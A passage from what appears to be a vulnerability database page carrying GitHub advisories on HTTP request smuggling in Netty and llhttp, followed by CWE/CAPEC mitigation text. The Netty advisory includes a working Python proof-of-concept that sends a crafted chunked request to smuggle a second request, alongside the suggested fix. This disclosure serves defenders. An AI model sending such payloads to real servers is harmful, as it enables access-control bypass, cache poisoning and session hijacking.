   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

Vulnerability Diagram

java_netty.zip

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.132.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.10.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33870"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:48:55Z",
    "nvd_published_at": "2026-03-27T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003chttps://w4ke.info/2025/06/18/funky-chunks.html\u003e\n- \u003chttps://w4ke.info/2025/10/29/funky-chunks-2.html\u003e\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions\u2014whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n            ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b\u00271;a=\"\\r\\n\u0027\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b\u0027\"\\r\\n\u0027\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser                | Request 1         | Request 2                          |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable)    | POST / body=\"X\"  | GET /smuggled (SMUGGLED)           |\n| RFC-compliant parser  | 400 Bad Request   | (none \u2014 malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If \u0027;\u0027 is encountered, begin parsing extensions:\n   a. For each byte before the terminating CRLF:\n      - If CR (%x0D) or LF (%x0A) is encountered outside the\n        final terminating CRLF, reject the request with 400 Bad Request.\n   b. If the extension value begins with DQUOTE, validate that all\n      enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n   outside any quoted-string context and contains no preceding\n   illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n![Vulnerability Diagram](https://github.com/user-attachments/assets/2faaa23e-693b-4efc-afb7-aae1d4101e7e)\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
  "id": "GHSA-pwqr-wmgm-9rr8",
  "modified": "2026-03-27T21:49:43Z",
  "published": "2026-03-26T18:48:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/06/18/funky-chunks.html"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/10/29/funky-chunks-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc9110"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}

GHSA-PX8H-5R3G-HJ68

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19
VLAI
Details

The parse function in llhttp < 2.1.4 and < 6.0.6. ignores chunk extensions when parsing the body of chunked requests. This leads to HTTP Request Smuggling (HRS) under certain conditions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-22960"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-03T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The parse function in llhttp \u003c 2.1.4 and \u003c 6.0.6. ignores chunk extensions when parsing the body of chunked requests. This leads to HTTP Request Smuggling (HRS) under certain conditions.",
  "id": "GHSA-px8h-5r3g-hj68",
  "modified": "2022-05-24T19:19:31Z",
  "published": "2022-05-24T19:19:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22960"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1238099"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5170"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].

Mitigation
Implementation

Use only SSL communication.

Mitigation
Implementation

Terminate the client session after each request.

Mitigation
System Configuration

Turn all pages to non-cacheable.

CAPEC-273: HTTP Response Smuggling

An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).

See CanPrecede relationships for possible consequences.

CAPEC-33: HTTP Request Smuggling

An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages using various HTTP headers, request-line and body parameters as well as message sizes (denoted by the end of message signaled by a given HTTP header) by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to secretly send unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).

See CanPrecede relationships for possible consequences.